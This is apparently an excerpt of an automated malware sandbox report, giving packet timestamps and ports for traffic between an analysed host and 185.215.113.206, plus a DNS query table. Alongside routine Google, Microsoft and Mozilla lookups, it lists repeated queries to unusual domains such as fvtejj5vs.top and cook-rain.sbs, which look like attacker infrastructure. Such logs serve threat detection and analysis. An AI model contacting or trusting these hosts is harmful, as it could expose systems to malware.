Nov 18, 2024 04:41:37.724605083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724622965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724626064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724721909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724735975 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724745989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724757910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724766970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724773884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724786043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724803925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724841118 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724862099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724874020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724903107 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724914074 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724915028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724941969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724976063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724986076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725004911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725017071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725029945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725042105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725048065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725094080 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725117922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725184917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725194931 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725197077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725208998 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725220919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725230932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725231886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725272894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725369930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725380898 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725390911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725404024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725413084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725416899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725469112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725512028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725524902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725534916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725545883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725554943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725558043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725570917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725596905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725634098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725637913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725696087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725708008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725739002 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725759029 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725785017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725797892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725807905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725820065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725831032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725841999 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725843906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725884914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725925922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725938082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725948095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725958109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725967884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.725969076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.725980997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726010084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726042032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726067066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726130009 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726161957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726172924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726182938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726193905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726203918 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726207018 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726216078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726249933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726265907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726278067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726310015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726330996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726341963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726352930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726366043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726393938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726428032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726531982 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726573944 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726581097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726593018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726618052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726638079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726669073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726680040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726695061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726713896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726738930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726804018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726814985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726824999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726836920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726864100 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726886034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726908922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726921082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726931095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.726958990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.726990938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727021933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727034092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727044106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727055073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727065086 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727086067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727118015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727211952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727224112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727233887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727245092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727257013 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727260113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727269888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727283001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727302074 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727307081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727327108 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727355003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.727396011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727406979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727417946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.727469921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.753856897 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.753921032 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.754101992 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.754436970 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.754445076 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.754462957 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.754467010 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.757630110 CET	49949	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.757668972 CET	443	49949	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.757781029 CET	49949	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.758070946 CET	49949	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.758086920 CET	443	49949	13.107.246.45	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 04:41:17.043906927 CET	192.168.2.6	1.1.1.1	0xe160	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:17.044034004 CET	192.168.2.6	1.1.1.1	0x40e0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:20.720356941 CET	192.168.2.6	1.1.1.1	0x477a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:20.720508099 CET	192.168.2.6	1.1.1.1	0x5eaa	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:21.807910919 CET	192.168.2.6	1.1.1.1	0x7e87	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:21.808114052 CET	192.168.2.6	1.1.1.1	0x9a91	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:27.406037092 CET	192.168.2.6	1.1.1.1	0x74e	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:27.406447887 CET	192.168.2.6	1.1.1.1	0x46c8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:28.792630911 CET	192.168.2.6	1.1.1.1	0xf9f2	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:28.792778015 CET	192.168.2.6	1.1.1.1	0x747e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 04:41:30.553133011 CET	192.168.2.6	1.1.1.1	0x339a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.553236961 CET	192.168.2.6	1.1.1.1	0x78d2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:30.630280018 CET	192.168.2.6	1.1.1.1	0x671f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.630655050 CET	192.168.2.6	1.1.1.1	0x9532	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:30.641689062 CET	192.168.2.6	1.1.1.1	0x9350	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.641870022 CET	192.168.2.6	1.1.1.1	0x1bac	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:30.652561903 CET	192.168.2.6	1.1.1.1	0x1a48	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.652720928 CET	192.168.2.6	1.1.1.1	0xb004	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:30.887242079 CET	192.168.2.6	1.1.1.1	0xee31	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:30.887608051 CET	192.168.2.6	1.1.1.1	0xf02d	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:31.237824917 CET	192.168.2.6	1.1.1.1	0xa26b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.237991095 CET	192.168.2.6	1.1.1.1	0xeaca	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:31.239027023 CET	192.168.2.6	1.1.1.1	0xa33d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.239269972 CET	192.168.2.6	1.1.1.1	0x7aba	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:41:31.272510052 CET	192.168.2.6	1.1.1.1	0x39ca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:41:31.272759914 CET	192.168.2.6	1.1.1.1	0xa08a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:42:14.550987005 CET	192.168.2.6	1.1.1.1	0xb73c	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:14.551096916 CET	192.168.2.6	1.1.1.1	0x57f2	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:42:19.248389959 CET	192.168.2.6	1.1.1.1	0x558b	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.955651045 CET	192.168.2.6	1.1.1.1	0x925a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.955776930 CET	192.168.2.6	1.1.1.1	0xbd92	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:42:30.961149931 CET	192.168.2.6	1.1.1.1	0x1c78	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.961268902 CET	192.168.2.6	1.1.1.1	0x160b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:42:30.961510897 CET	192.168.2.6	1.1.1.1	0xa6a4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:30.961611032 CET	192.168.2.6	1.1.1.1	0x3499	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 04:42:36.832789898 CET	192.168.2.6	1.1.1.1	0x7fde	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:36.925337076 CET	192.168.2.6	1.1.1.1	0xcfe8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:42:37.797034979 CET	192.168.2.6	1.1.1.1	0x5d80	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:37.805269957 CET	192.168.2.6	1.1.1.1	0x1197	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:37.812781096 CET	192.168.2.6	1.1.1.1	0x6e57	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 18, 2024 04:42:38.344934940 CET	192.168.2.6	1.1.1.1	0x3366	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:38.500088930 CET	192.168.2.6	1.1.1.1	0x8a7f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:38.508832932 CET	192.168.2.6	1.1.1.1	0xafb7	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:42:39.131901979 CET	192.168.2.6	1.1.1.1	0xe82a	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.142887115 CET	192.168.2.6	1.1.1.1	0x791c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.147702932 CET	192.168.2.6	1.1.1.1	0x6d24	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.152674913 CET	192.168.2.6	1.1.1.1	0xaf31	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 04:42:39.155239105 CET	192.168.2.6	1.1.1.1	0xf1fe	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.156630039 CET	192.168.2.6	1.1.1.1	0x7a	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.158087015 CET	192.168.2.6	1.1.1.1	0x8615	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.183507919 CET	192.168.2.6	1.1.1.1	0x72e3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.187216997 CET	192.168.2.6	1.1.1.1	0x2e02	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.221004963 CET	192.168.2.6	1.1.1.1	0x3c87	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:42:39.221849918 CET	192.168.2.6	1.1.1.1	0xe20e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:42:39.314953089 CET	192.168.2.6	1.1.1.1	0x1d62	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.878218889 CET	192.168.2.6	1.1.1.1	0xfcc9	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.897945881 CET	192.168.2.6	1.1.1.1	0x6072	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:42:39.905052900 CET	192.168.2.6	1.1.1.1	0x2b6	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:02.850539923 CET	192.168.2.6	1.1.1.1	0x45a5	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:02.850657940 CET	192.168.2.6	1.1.1.1	0x3373	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 04:43:03.455535889 CET	192.168.2.6	1.1.1.1	0xa8c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:03.455990076 CET	192.168.2.6	1.1.1.1	0x6c17	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 04:43:06.542136908 CET	192.168.2.6	1.1.1.1	0x52b0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:06.894161940 CET	192.168.2.6	1.1.1.1	0xfca	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 04:43:06.905590057 CET	192.168.2.6	1.1.1.1	0x73fe	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:06.919816971 CET	192.168.2.6	1.1.1.1	0xfc3b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:06.948657990 CET	192.168.2.6	1.1.1.1	0xfcea	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:11.895662069 CET	192.168.2.6	1.1.1.1	0x6a6e	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:11.895772934 CET	192.168.2.6	1.1.1.1	0xfa3b	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:12.350600958 CET	192.168.2.6	1.1.1.1	0x6a6e	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:12.364006996 CET	192.168.2.6	1.1.1.1	0x6a6e	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:13.364770889 CET	192.168.2.6	1.1.1.1	0x6a6e	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:15.802161932 CET	192.168.2.6	1.1.1.1	0xb48f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:15.802273035 CET	192.168.2.6	1.1.1.1	0xf925	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:16.025640965 CET	192.168.2.6	1.1.1.1	0xb48f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:33.275063038 CET	192.168.2.6	1.1.1.1	0x5404	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:33.505547047 CET	192.168.2.6	1.1.1.1	0xa2f0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:33.570877075 CET	192.168.2.6	1.1.1.1	0x5535	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 18, 2024 04:43:33.593252897 CET	192.168.2.6	1.1.1.1	0xf7d1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:33.625392914 CET	192.168.2.6	1.1.1.1	0x80b1	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:33.681138992 CET	192.168.2.6	1.1.1.1	0xb9e4	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 04:43:34.156116009 CET	192.168.2.6	1.1.1.1	0x7e36	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.253061056 CET	192.168.2.6	1.1.1.1	0x3082	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.253114939 CET	192.168.2.6	1.1.1.1	0xf2b2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.253166914 CET	192.168.2.6	1.1.1.1	0x3082	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.253226995 CET	192.168.2.6	1.1.1.1	0xf2b2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.269818068 CET	192.168.2.6	1.1.1.1	0x3082	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.269854069 CET	192.168.2.6	1.1.1.1	0xf2b2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.283116102 CET	192.168.2.6	1.1.1.1	0xf2b2	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.311578989 CET	192.168.2.6	1.1.1.1	0x7b06	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.311634064 CET	192.168.2.6	1.1.1.1	0xf809	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.311687946 CET	192.168.2.6	1.1.1.1	0x7b06	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.311763048 CET	192.168.2.6	1.1.1.1	0xf809	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.320591927 CET	192.168.2.6	1.1.1.1	0xf809	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.327194929 CET	192.168.2.6	1.1.1.1	0x7b06	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.351516008 CET	192.168.2.6	1.1.1.1	0xc04c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.351593018 CET	192.168.2.6	1.1.1.1	0xed40	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.351769924 CET	192.168.2.6	1.1.1.1	0xc04c	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.351805925 CET	192.168.2.6	1.1.1.1	0xed40	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.750121117 CET	192.168.2.6	1.1.1.1	0x5a9f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 04:43:40.750206947 CET	192.168.2.6	1.1.1.1	0x8632	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 04:43:40.750480890 CET	192.168.2.6	1.1.1.1	0x5a9f	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
